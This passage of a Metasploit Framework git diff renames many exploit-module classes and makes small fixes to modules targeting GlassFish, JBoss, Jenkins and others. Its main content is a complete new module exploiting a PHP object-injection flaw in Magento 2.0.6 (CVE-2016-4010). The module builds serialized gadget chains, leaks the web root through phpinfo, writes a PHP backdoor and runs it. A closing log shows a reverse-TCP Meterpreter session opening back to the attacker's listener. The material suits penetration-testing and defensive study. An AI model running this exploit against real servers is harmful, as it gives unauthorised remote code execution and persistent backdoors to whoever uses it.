format(boundary,"form:war:psection:implicitCdi:implicitCdi","true"), format(boundary,"form:war:psection:librariesProp:library"), format(boundary,"form:war:psection:descriptionProp:description"), format(boundary,"form_hidden","form_hidden"), @@ -499,7 +536,6 @@ class Metasploit3 < Msf::Exploit::Remote end def get_viewstate(body) - @vewstate ||= lambda { noko = Nokogiri::HTML(body) inputs = noko.search('input') hidden_inputs = [] @@ -511,7 +547,6 @@ class Metasploit3 < Msf::Exploit::Remote end '' - }.call end # @@ -587,7 +622,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_glassfish_request(path, @verbs['POST'], session, post_data, ctype) # Print upload result - if res.code == 302 + if res && res.code == 302 print_status("Successfully uploaded") else print_error("Error uploading #{res.code}") @@ -639,7 +674,9 @@ class Metasploit3 < Msf::Exploit::Remote @scanner = Metasploit::Framework::LoginScanner::Glassfish.new( configure_http_login_scanner( cred_details: @cred_collection, - connection_timeout: 5 + connection_timeout: 5, + http_username: datastore['HttpUsername'], + http_password: datastore['HttpPassword'] ) ) end diff --git a/modules/exploits/multi/http/glossword_upload_exec.rb b/modules/exploits/multi/http/glossword_upload_exec.rb index a829e464cc..1894ddd170 100644 --- a/modules/exploits/multi/http/glossword_upload_exec.rb +++ b/modules/exploits/multi/http/glossword_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/glpi_install_rce.rb b/modules/exploits/multi/http/glpi_install_rce.rb index 19cdc98388..1703db59af 100644 --- a/modules/exploits/multi/http/glpi_install_rce.rb +++ b/modules/exploits/multi/http/glpi_install_rce.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # Application database configuration is overwritten include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/horde_href_backdoor.rb b/modules/exploits/multi/http/horde_href_backdoor.rb index 2490945fbb..49ef2be08b 100644 --- a/modules/exploits/multi/http/horde_href_backdoor.rb +++ b/modules/exploits/multi/http/horde_href_backdoor.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb b/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb index e27433b5a2..bc8becf8b6 100644 --- a/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb +++ b/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rexml/document' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } diff --git a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb index aa418720b9..275271580a 100644 --- a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb +++ b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } diff --git a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb index 25f76c5668..5ff5bc1d27 100644 --- a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb +++ b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStager diff --git a/modules/exploits/multi/http/hyperic_hq_script_console.rb b/modules/exploits/multi/http/hyperic_hq_script_console.rb index 329b8ee316..bfcb22a5c5 100644 --- a/modules/exploits/multi/http/hyperic_hq_script_console.rb +++ b/modules/exploits/multi/http/hyperic_hq_script_console.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/ispconfig_php_exec.rb b/modules/exploits/multi/http/ispconfig_php_exec.rb index 361c2c90ad..d95978ff4a 100644 --- a/modules/exploits/multi/http/ispconfig_php_exec.rb +++ b/modules/exploits/multi/http/ispconfig_php_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/jboss_bshdeployer.rb b/modules/exploits/multi/http/jboss_bshdeployer.rb index 0fc393a14e..bfe151d892 100644 --- a/modules/exploits/multi/http/jboss_bshdeployer.rb +++ b/modules/exploits/multi/http/jboss_bshdeployer.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] } diff --git a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb index 5e8d269d03..e3ddeb488b 100644 --- a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb +++ b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb @@ -4,7 +4,7 @@ ## require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] } diff --git a/modules/exploits/multi/http/jboss_invoke_deploy.rb b/modules/exploits/multi/http/jboss_invoke_deploy.rb index 4b68cfdd07..c5380c9318 100644 --- a/modules/exploits/multi/http/jboss_invoke_deploy.rb +++ b/modules/exploits/multi/http/jboss_invoke_deploy.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /JBoss/ ] } diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index 514a6a45b3..d13e2bb018 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] } @@ -82,8 +82,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ Opt::RPORT(8080), - OptString.new('USERNAME', [ false, 'The username to authenticate as' ]), - OptString.new('PASSWORD', [ false, 'The password for the specified username' ]), + OptString.new('HttpUsername', [ false, 'The username to authenticate as' ]), + OptString.new('HttpPassword', [ false, 'The password for the specified username' ]), OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]), OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]), OptString.new('PATH', [ true, 'The URI path of the console', '/jmx-console' ]), diff --git a/modules/exploits/multi/http/jboss_seam_upload_exec.rb b/modules/exploits/multi/http/jboss_seam_upload_exec.rb index b8670c6052..779dd807da 100644 --- a/modules/exploits/multi/http/jboss_seam_upload_exec.rb +++ b/modules/exploits/multi/http/jboss_seam_upload_exec.rb @@ -6,7 +6,7 @@ require 'rex/proto/http' require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index d825a6f68f..cad455f947 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient @@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote def http_send_command(cmd, opts = {}) request_parameters = { 'method' => 'POST', - 'uri' => normalize_uri(@uri.path, "script"), + 'uri' => normalize_uri(@uri.path, 'script'), 'vars_post' => { 'script' => java_craft_runtime_exec(cmd), @@ -86,7 +86,7 @@ class Metasploit3 < Msf::Exploit::Remote } } request_parameters['cookie'] = @cookie if @cookie != nil - request_parameters['vars_post']['.crumb'] = @crumb if @crumb != nil + request_parameters['vars_post'][@crumb[:name]] = @crumb[:value] unless @crumb.nil? res = send_request_cgi(request_parameters) if not (res and res.code == 200) fail_with(Failure::Unknown, 'Failed to execute the command.') @@ -159,8 +159,8 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri(@uri.path, "j_acegi_security_check"), 'vars_post' => { - 'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'), - 'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'), + 'j_username' => datastore['USERNAME'], + 'j_password' => datastore['PASSWORD'], 'Submit' => 'log in' } }) @@ -177,9 +177,12 @@ class Metasploit3 < Msf::Exploit::Remote print_status('No authentication required, skipping login...') end - if (res.body =~ /"\.crumb", "([a-z0-9]*)"/) - print_status("Using CSRF token: '#{$1}'") - @crumb = $1 + if res.body =~ /"\.crumb", "([a-z0-9]*)"/ + print_status("Using CSRF token: '#{$1}' (.crumb style)") + @crumb = {:name => '.crumb', :value => $1} + elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/ + print_status("Using CSRF token: '#{$1}' (Jenkins-Crumb style)") + @crumb = {:name => 'Jenkins-Crumb', :value => $1} end case target['Platform'] diff --git a/modules/exploits/multi/http/jira_hipchat_template.rb b/modules/exploits/multi/http/jira_hipchat_template.rb index 924d348356..b1a4cc705a 100644 --- a/modules/exploits/multi/http/jira_hipchat_template.rb +++ b/modules/exploits/multi/http/jira_hipchat_template.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'json' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index c047d6242c..624e5aa36b 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Joomla @@ -155,7 +155,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - if check == Exploit::CheckCode::Safe && datastore['FORCE'] == false + if check == Exploit::CheckCode::Safe && !datastore['FORCE'] print_error('Target seems safe, so we will not continue.') return end diff --git a/modules/exploits/multi/http/kordil_edms_upload_exec.rb b/modules/exploits/multi/http/kordil_edms_upload_exec.rb index 3f550c6497..cbbf4c166a 100644 --- a/modules/exploits/multi/http/kordil_edms_upload_exec.rb +++ b/modules/exploits/multi/http/kordil_edms_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/lcms_php_exec.rb b/modules/exploits/multi/http/lcms_php_exec.rb index 0365b344fc..45aba792cc 100644 --- a/modules/exploits/multi/http/lcms_php_exec.rb +++ b/modules/exploits/multi/http/lcms_php_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb index 3e7f142d56..dac6cb7080 100644 --- a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb +++ b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/magento_unserialize.rb b/modules/exploits/multi/http/magento_unserialize.rb new file mode 100644 index 0000000000..68c0612a93 --- /dev/null +++ b/modules/exploits/multi/http/magento_unserialize.rb @@ -0,0 +1,426 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Magento 2.0.6 Unserialize Remote Code Execution', + 'Description' => %q{ + This module exploits a PHP object injection vulnerability in Magento 2.0.6 + or prior. + }, + 'Platform' => 'php', + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Netanel Rubin', # original discovery + 'agix', # original exploit + 'mr_me ', # metasploit module + ], + 'Payload' => + { + 'BadChars' => "\x22", + }, + 'References' => + [ + ['CVE', '2016-4010'], + ['EDB', '39838'], + ['URL', 'http://netanelrub.in/2016/05/17/magento-unauthenticated-remote-code-execution/'], + ['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/'], + ['URL', 'https://magento.com/security/patches/magento-206-security-update'] + ], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Automatic Targeting', { 'auto' => true } ], + ], + 'DisclosureDate' => 'May 17 2016', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]) + ], self.class) + end + + def print_good(msg='') + super("#{peer} - #{msg}") + end + + def get_phpinfo + # uses the Magento_Framework_DB_Transaction class + serialize = 'O:13:\"Credis_Client\":22:{' + serialize << 's:8:\"\u0000*\u0000redis\";' + serialize << 'O:45:\"Magento\\\Sales\\\Model\\\Order\\\Payment\\\Transaction\":40:{' + serialize << 's:9:\"\u0000*\u0000_order\";N;' + serialize << 's:21:\"\u0000*\u0000_parentTransaction\";N;' + serialize << 's:12:\"\u0000*\u0000_children\";N;' + serialize << 's:22:\"\u0000*\u0000_identifiedChildren\";N;' + serialize << 's:27:\"\u0000*\u0000_transactionsAutoLinking\";b:1;' + serialize << 's:14:\"\u0000*\u0000_isFailsafe\";' + serialize << 'b:1;' + serialize << 's:12:\"\u0000*\u0000_hasChild\";N;' + serialize << 's:15:\"\u0000*\u0000_eventPrefix\";' + serialize << 's:31:\"sales_order_payment_transaction\";' + serialize << 's:15:\"\u0000*\u0000_eventObject\";' + serialize << 's:25:\"order_payment_transaction\";' + serialize << 's:18:\"\u0000*\u0000_orderWebsiteId\";N;' + serialize << 's:16:\"\u0000*\u0000_orderFactory\";N;' + serialize << 's:15:\"\u0000*\u0000_dateFactory\";N;' + serialize << 's:22:\"\u0000*\u0000_transactionFactory\";N;' + serialize << 's:25:\"\u0000*\u0000orderPaymentRepository\";N;' + serialize << 's:18:\"\u0000*\u0000orderRepository\";N;' + serialize << 's:29:\"\u0000*\u0000extensionAttributesFactory\";N;' + serialize << 's:22:\"\u0000*\u0000extensionAttributes\";N;' + serialize << 's:25:\"\u0000*\u0000customAttributeFactory\";N;' + serialize << 's:24:\"\u0000*\u0000customAttributesCodes\";N;' + serialize << 's:26:\"\u0000*\u0000customAttributesChanged\";b:0;' + serialize << 's:15:\"\u0000*\u0000_idFieldName\";' + serialize << 's:2:\"id\";' + serialize << 's:18:\"\u0000*\u0000_hasDataChanges\";' + serialize << 'b:0;' + serialize << 's:12:\"\u0000*\u0000_origData\";N;' + serialize << 's:13:\"\u0000*\u0000_isDeleted\";' + serialize << 'b:0;' + serialize << 's:12:\"\u0000*\u0000_resource\";' + serialize << 'O:32:\"Magento\\\Framework\\\DB\\\Transaction\":3:{' + serialize << 's:11:\"\u0000*\u0000_objects\";' + serialize << 'a:0:{}' + serialize << 's:18:\"\u0000*\u0000_objectsByAlias\";' + serialize << 'a:0:{}' + serialize << 's:25:\"\u0000*\u0000_beforeCommitCallbacks\";' + serialize << 'a:1:{' + serialize << 'i:0;' + serialize << 's:7:\"phpinfo\";}}' # the rub + serialize << 's:22:\"\u0000*\u0000_resourceCollection\";N;' + serialize << 's:16:\"\u0000*\u0000_resourceName\";N;' + serialize << 's:18:\"\u0000*\u0000_collectionName\";N;' + serialize << 's:12:\"\u0000*\u0000_cacheTag\";' + serialize << 'b:0;' + serialize << 's:19:\"\u0000*\u0000_dataSaveAllowed\";' + serialize << 'b:1;' + serialize << 's:15:\"\u0000*\u0000_isObjectNew\";N;' + serialize << 's:23:\"\u0000*\u0000_validatorBeforeSave\";N;' + serialize << 's:16:\"\u0000*\u0000_eventManager\";N;' + serialize << 's:16:\"\u0000*\u0000_cacheManager\";N;' + serialize << 's:12:\"\u0000*\u0000_registry\";N;' + serialize << 's:10:\"\u0000*\u0000_logger\";N;' + serialize << 's:12:\"\u0000*\u0000_appState\";N;' + serialize << 's:19:\"\u0000*\u0000_actionValidator\";N;' + serialize << 's:13:\"\u0000*\u0000storedData\";' + serialize << 'a:0:{}' + serialize << 's:8:\"\u0000*\u0000_data\";' + serialize << 'a:0:{}}' + serialize << 's:13:\"\u0000*\u0000redisMulti\";N;' + serialize << 's:7:\"\u0000*\u0000host\";N;' + serialize << 's:7:\"\u0000*\u0000port\";N;' + serialize << 's:10:\"\u0000*\u0000timeout\";N;' + serialize << 's:14:\"\u0000*\u0000readTimeout\";N;' + serialize << 's:13:\"\u0000*\u0000persistent\";N;' + serialize << 's:18:\"\u0000*\u0000closeOnDestruct\";' + serialize << 'b:1;' + serialize << 's:12:\"\u0000*\u0000connected\";' + serialize << 'b:1;' + serialize << 's:13:\"\u0000*\u0000standalone\";N;' + serialize << 's:20:\"\u0000*\u0000maxConnectRetries\";' + serialize << 'i:0;' + serialize << 's:18:\"\u0000*\u0000connectFailures\";' + serialize << 'i:0;' + serialize << 's:14:\"\u0000*\u0000usePipeline\";' + serialize << 'b:0;' + serialize << 's:15:\"\u0000*\u0000commandNames\";N;' + serialize << 's:11:\"\u0000*\u0000commands\";N;' + serialize << 's:10:\"\u0000*\u0000isMulti\";' + serialize << 'b:0;' + serialize << 's:13:\"\u0000*\u0000isWatching\";' + serialize << 'b:0;' + serialize << 's:15:\"\u0000*\u0000authPassword\";N;' + serialize << 's:13:\"\u0000*\u0000selectedDb\";' + serialize << 'i:0;' + serialize << 's:17:\"\u0000*\u0000wrapperMethods\";' + serialize << 'a:3:{' + serialize << 's:6:\"delete\";' + serialize << 's:3:\"del\";' + serialize << 's:7:\"getkeys\";' + serialize << 's:4:\"keys\";' + serialize << 's:7:\"sremove\";' + serialize << 's:4:\"srem\";}' + serialize << 's:18:\"\u0000*\u0000renamedCommands\";N;' + serialize << 's:11:\"\u0000*\u0000requests\";' + serialize << 'i:0;}' + + serialize + end + + def get_phpshell + s = "#{@webroot}/#{@backdoor}" + p = "" + # uses the Magento_Framework_Simplexml_Config_Cache_File class + serialize = 'O:13:\"Credis_Client\":22:{' + serialize << 's:8:\"\u0000*\u0000redis\";' + serialize << 'O:45:\"Magento\\\Sales\\\Model\\\Order\\\Payment\\\Transaction\":40:{' + serialize << 's:9:\"\u0000*\u0000_order\";N;' + serialize << 's:21:\"\u0000*\u0000_parentTransaction\";N;' + serialize << 's:12:\"\u0000*\u0000_children\";N;' + serialize << 's:22:\"\u0000*\u0000_identifiedChildren\";N;' + serialize << 's:27:\"\u0000*\u0000_transactionsAutoLinking\";' + serialize << 'b:1;' + serialize << 's:14:\"\u0000*\u0000_isFailsafe\";' + serialize << 'b:1;s:12:\"\u0000*\u0000_hasChild\";N;' + serialize << 's:15:\"\u0000*\u0000_eventPrefix\";' + serialize << 's:31:\"sales_order_payment_transaction\";' + serialize << 's:15:\"\u0000*\u0000_eventObject\";' + serialize << 's:25:\"order_payment_transaction\";' + serialize << 's:18:\"\u0000*\u0000_orderWebsiteId\";N;' + serialize << 's:16:\"\u0000*\u0000_orderFactory\";N;' + serialize << 's:15:\"\u0000*\u0000_dateFactory\";N;' + serialize << 's:22:\"\u0000*\u0000_transactionFactory\";N;' + serialize << 's:25:\"\u0000*\u0000orderPaymentRepository\";N;' + serialize << 's:18:\"\u0000*\u0000orderRepository\";N;' + serialize << 's:29:\"\u0000*\u0000extensionAttributesFactory\";N;' + serialize << 's:22:\"\u0000*\u0000extensionAttributes\";N;' + serialize << 's:25:\"\u0000*\u0000customAttributeFactory\";N;' + serialize << 's:24:\"\u0000*\u0000customAttributesCodes\";N;' + serialize << 's:26:\"\u0000*\u0000customAttributesChanged\";b:0;' + serialize << 's:15:\"\u0000*\u0000_idFieldName\";' + serialize << 's:2:\"id\";' + serialize << 's:18:\"\u0000*\u0000_hasDataChanges\";' + serialize << 'b:0;' + serialize << 's:12:\"\u0000*\u0000_origData\";N;' + serialize << 's:13:\"\u0000*\u0000_isDeleted\";' + serialize << 'b:0;' + serialize << 's:12:\"\u0000*\u0000_resource\";' + serialize << 'O:45:\"Magento\\\Framework\\\Simplexml\\\Config\\\Cache\\\File\":1:{' + serialize << 's:8:\"\u0000*\u0000_data\";' + serialize << 'a:3:{' + serialize << 's:18:\"is_allowed_to_save\";' + serialize << 'b:1;' + serialize << 's:14:\"stat_file_name\";' + serialize << "s:#{s.length.to_s}:\\\"#{s}\\\";" # our shell + serialize << 's:10:\"components\";' + serialize << "s:#{p.length.to_s}:\\\"#{p}\\\";}}" # our payload + serialize << 's:22:\"\u0000*\u0000_resourceCollection\";N;' + serialize << 's:16:\"\u0000*\u0000_resourceName\";N;' + serialize << 's:18:\"\u0000*\u0000_collectionName\";N;' + serialize << 's:12:\"\u0000*\u0000_cacheTag\";' + serialize << 'b:0;' + serialize << 's:19:\"\u0000*\u0000_dataSaveAllowed\";' + serialize << 'b:1;s:15:\"\u0000*\u0000_isObjectNew\";N;' + serialize << 's:23:\"\u0000*\u0000_validatorBeforeSave\";N;' + serialize << 's:16:\"\u0000*\u0000_eventManager\";N;' + serialize << 's:16:\"\u0000*\u0000_cacheManager\";N;' + serialize << 's:12:\"\u0000*\u0000_registry\";N;' + serialize << 's:10:\"\u0000*\u0000_logger\";N;' + serialize << 's:12:\"\u0000*\u0000_appState\";N;' + serialize << 's:19:\"\u0000*\u0000_actionValidator\";N;' + serialize << 's:13:\"\u0000*\u0000storedData\";' + serialize << 'a:0:{}' + serialize << 's:8:\"\u0000*\u0000_data\";' + serialize << 'a:0:{}}' + serialize << 's:13:\"\u0000*\u0000redisMulti\";N;' + serialize << 's:7:\"\u0000*\u0000host\";N;' + serialize << 's:7:\"\u0000*\u0000port\";N;' + serialize << 's:10:\"\u0000*\u0000timeout\";N;s:14:\"\u0000*\u0000readTimeout\";N;' + serialize << 's:13:\"\u0000*\u0000persistent\";N;' + serialize << 's:18:\"\u0000*\u0000closeOnDestruct\";' + serialize << 'b:1;' + serialize << 's:12:\"\u0000*\u0000connected\";' + serialize << 'b:1;' + serialize << 's:13:\"\u0000*\u0000standalone\";N;' + serialize << 's:20:\"\u0000*\u0000maxConnectRetries\";' + serialize << 'i:0;' + serialize << 's:18:\"\u0000*\u0000connectFailures\";' + serialize << 'i:0;' + serialize << 's:14:\"\u0000*\u0000usePipeline\";' + serialize << 'b:0;' + serialize << 's:15:\"\u0000*\u0000commandNames\";N;' + serialize << 's:11:\"\u0000*\u0000commands\";N;' + serialize << 's:10:\"\u0000*\u0000isMulti\";' + serialize << 'b:0;' + serialize << 's:13:\"\u0000*\u0000isWatching\";' + serialize << 'b:0;' + serialize << 's:15:\"\u0000*\u0000authPassword\";N;' + serialize << 's:13:\"\u0000*\u0000selectedDb\";i:0;' + serialize << 's:17:\"\u0000*\u0000wrapperMethods\";' + serialize << 'a:3:{' + serialize << 's:6:\"delete\";' + serialize << 's:3:\"del\";' + serialize << 's:7:\"getkeys\";' + serialize << 's:4:\"keys\";' + serialize << 's:7:\"sremove\";' + serialize << 's:4:\"srem\";}' + serialize << 's:18:\"\u0000*\u0000renamedCommands\";N;' + serialize << 's:11:\"\u0000*\u0000requests\";' + serialize << 'i:0;}' + + serialize + end + + def do_check + data = '{"paymentMethod":{"method":"checkmo","additional_data":{"additional_information":"' + data << get_phpinfo + data << "\"}},\"email\":\"#{@email}\"}" + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"), + 'ctype' => 'application/json', + 'data' => data, + }) + end + + def define_globals + @phpsessid = Rex::Text.rand_text_alphanumeric(26) + @form_key = Rex::Text.rand_text_alphanumeric(26) + @cookies = "PHPSESSID=#{@phpsessid}; form_key=#{@form_key}" + @email = "#{@phpsessid}@#{@form_key}.com" + end + + def check + define_globals + # we actually exploit the bug, but just for a callback + begin + if create_fake_cart + if generate_cart_id + # twice, because we need to setup the phpinfo callback using + # the Magento_Framework_DB_Transaction() pop chain + res = "" + (0..1).step(1) do |n| + res = do_check + end + if (res && res.body.include?('phpinfo()')) + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe + end + end + end + rescue ::Rex::ConnectionError => e + vprint_error(e.message) + return Exploit::CheckCode::Safe + end + + Exploit::CheckCode::Safe + end + + def get_webroot + data = '{"paymentMethod":{"method":"checkmo","additional_data":{"additional_information":"' + data << get_phpinfo + data << "\"}},\"email\":\"#{@email}\"}" + + # we steal path via phpinfo + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"), + 'ctype' => 'application/json', + 'data' => data, + }) + + if res && res.code == 200 + @webroot = "#{$1}" if res.body =~ /_SERVER\["DOCUMENT_ROOT"\]<\/td>(.*)<\/td><\/tr>/ + return true + end + + false + end + + def create_fake_cart + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/checkout/cart/add/uenc/\/product/1/'), + 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, + 'cookie' => @cookies, + 'vars_get' => { 'form_key' => @form_key } + }) + + return true if (res && res.body.include?('[]')) + + false + end + + def generate_cart_id + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/checkout/cart/'), + 'cookie' => @cookies, + }) + if res && res.code == 200 + @guest_cart_id = "#{$1}" if res.body =~ /entity_id":"(.*)","store_id":\d,"created_at/ + return true + end + + false + end + + def backdoor + data = "{\"paymentMethod\":{\"method\":\"checkmo\",\"additional_data\":{\"additional_information\":\"" + data << get_phpshell + data << "\"}},\"email\":\"#{@email}\"}" + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"), + 'ctype' => 'application/json', + 'data' => data, + }) + + return true if (res && res.body.include?('true')) + + false + end + + def exec_code + send_request_raw({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "/#{@backdoor}"), + }, timeout = 0.5) + end + + def exploit + define_globals + @backdoor = "#{Rex::Text.rand_text_alphanumeric(26)}.php" + register_files_for_cleanup("#{@backdoor}") + if create_fake_cart && generate_cart_id + print_good("generated a guest cart id") + if get_webroot && backdoor + print_good("backdoor done!") + exec_code + end + end + end + +end + +=begin +saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/sam.rc +[*] Processing scripts/sam.rc for ERB directives. +resource (scripts/sam.rc)> use exploit/multi/http/magento_unserialize +resource (scripts/sam.rc)> set payload php/meterpreter/reverse_tcp +payload => php/meterpreter/reverse_tcp +resource (scripts/sam.rc)> set RHOST 192.168.100.13 +RHOST => 192.168.100.13 +resource (scripts/sam.rc)> set LHOST 192.168.100.2 +LHOST => 192.168.100.2 +resource (scripts/sam.rc)> set LPORT 6666 +LPORT => 6666 +resource (scripts/sam.rc)> check +[*] 192.168.100.13:80 The target appears to be vulnerable. +resource (scripts/sam.rc)> exploit +[*] Started reverse TCP handler on 192.168.100.2:6666 +[+] generated a guest cart id +[+] backdoor done! +[*] Sending stage (33721 bytes) to 192.168.100.13 +[*] Meterpreter session 1 opened (192.168.100.2:6666 -> 192.168.100.13:49714) at 2016-06-01 18:28:52 -0500 +[+] Deleted vYtP1aJ2NXYAovrQgOLNGCt0SZ.php + +meterpreter > +=end diff --git a/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb b/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb index 71b8f3c04e..930d4b482a 100644 --- a/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb +++ b/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/file_dropper' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/manageengine_auth_upload.rb b/modules/exploits/multi/http/manageengine_auth_upload.rb index 7ea5105ad1..40cf9be0dd 100644 --- 